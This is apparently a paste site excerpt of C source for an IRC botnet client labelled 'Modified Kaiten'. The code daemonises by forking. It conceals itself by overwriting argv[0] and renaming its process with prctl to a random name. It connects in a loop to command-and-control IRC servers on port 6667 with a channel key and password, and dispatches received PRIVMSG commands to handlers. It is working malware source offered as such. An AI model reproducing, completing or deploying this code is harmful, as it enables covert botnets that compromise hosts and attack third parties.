  1846. }
  1847. void _433(int sock, char *sender, char *str) {
  1848. free(nick);
  1849. char tempnick[50];
  1850. char *strpref = PREFIX;
  1851. char *genname = makestring();
  1852. strcpy(tempnick,strpref);
  1853. strcat(tempnick,genname);
  1854. nick=tempnick;
  1855. }
  1856.  
  1857. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1858. { "352", _352 },
  1859. { "376", _376 },
  1860. { "433", _433 },
  1861. { "422", _376 },
  1862. { "PRIVMSG", _PRIVMSG },
  1863. { "PING", _PING },
  1864. { (char *)0, (void (*)(int,char *,char *))0 } };
  1865. void con() {
  1866. struct sockaddr_in srv;
  1867. unsigned long ipaddr,start;
  1868. int flag;
  1869. struct hostent *hp;
  1870. start:
  1871. sock=-1;
  1872. flag=1;
  1873. if (changeservers == 0) server=servers[rand()%numservers];
  1874. changeservers=0;
  1875. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1876. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1877. if ((hp = gethostbyname(server)) == NULL) {
  1878. server=NULL;
  1879. close(sock);
  1880. goto start;
  1881. }
  1882. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1883. }
  1884. else srv.sin_addr.s_addr=inet_addr(server);
  1885. srv.sin_family = AF_INET;
  1886. srv.sin_port = htons(6667);
  1887. ioctl(sock,FIONBIO,&flag);
  1888. start=time(NULL);
  1889. while(time(NULL)-start < 10) {
  1890. errno=0;
  1891. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1892. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1893. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1894. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1895. return;
  1896. }
  1897. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1898. sleep(1);
  1899. }
  1900. server=NULL;
  1901. close(sock);
  1902. goto start;
  1903. }
  1904. int main(int argc, char *argv[]) {
  1905. int on,i;
  1906. char cwd[256],*str;
  1907. FILE *file;
  1908. if (fork()) exit(0);
  1909. char *mynameis;
  1910. if(access("/usr/bin/python", F_OK) != -1){
  1911. mynameis = makestring();
  1912. } else {
  1913. mynameis = makestring();
  1914. }
  1915. strncpy(argv[0],"",strlen(argv[0]));
  1916. sprintf(argv[0], mynameis);
  1917. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1918. srand((time(NULL) ^ getpid()) + getppid());
  1919. char tempnick[50];
  1920. char *strpref = PREFIX;
  1921. char *genname = makestring();
  1922. strcpy(tempnick,strpref);
  1923. strcat(tempnick,genname);
  1924. nick=tempnick;
  1925. ident="Linuxx";
  1926. user="Modified Kaiten";
  1927. chan=CHAN;
  1928. key=KEY;
  1929. pass=PASS;
  1930. server=NULL;
  1931. sa:
  1932. #ifdef IDENT
  1933. for (i=0;i<numpids;i++) {
  1934. if (pids[i] != 0 && pids[i] != getpid()) {
  1935. kill(pids[i],9);
  1936. waitpid(pids[i],NULL,WNOHANG);
  1937. }
  1938. }
  1939. pids=NULL;
  1940. numpids=0;
  1941. identd();
  1942. #endif
  1943.  
  1944. con();
  1945. Send(sock,"PASS %s\n", pass);
  1946. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1947. while(1) {
  1948. unsigned long i;
  1949. fd_set n;
  1950. struct timeval tv;
  1951. FD_ZERO(&n);
  1952. FD_SET(sock,&n);
  1953. tv.tv_sec=60*20;
  1954. tv.tv_usec=0;
  1955. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1956. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1957. unsigned int *newpids,on;
  1958. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1959. pids[on-1]=0;
  1960. numpids--;
  1961. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1962. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1963. free(pids);
  1964. pids=newpids;
  1965. }
  1966. if (FD_ISSET(sock,&n)) {
  1967. char buf[4096], *str;
  1968. int i;
  1969. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1970. buf[i]=0;
  1971. str=strtok(buf,"\n");
  1972. while(str && *str) {
  1973. char name[1024], sender[1024];
  1974. filter(str);
  1975. if (*str == ':') {
  1976. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1977. str[i]=0;
  1978. strcpy(sender,str+1);
  1979. strcpy(str,str+i+1);
  1980. }
  1981. else strcpy(sender,"*");
  1982. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1983. str[i]=0;
  1984. strcpy(name,str);
  1985. strcpy(str,str+i+1);
  1986. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1987. if (!strcasecmp(name,"ERROR")) goto sa;
  1988. str=strtok((char*)NULL,"\n");
  1989. }
  1990. }
  1991. }
  1992. return 0;
  1993. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement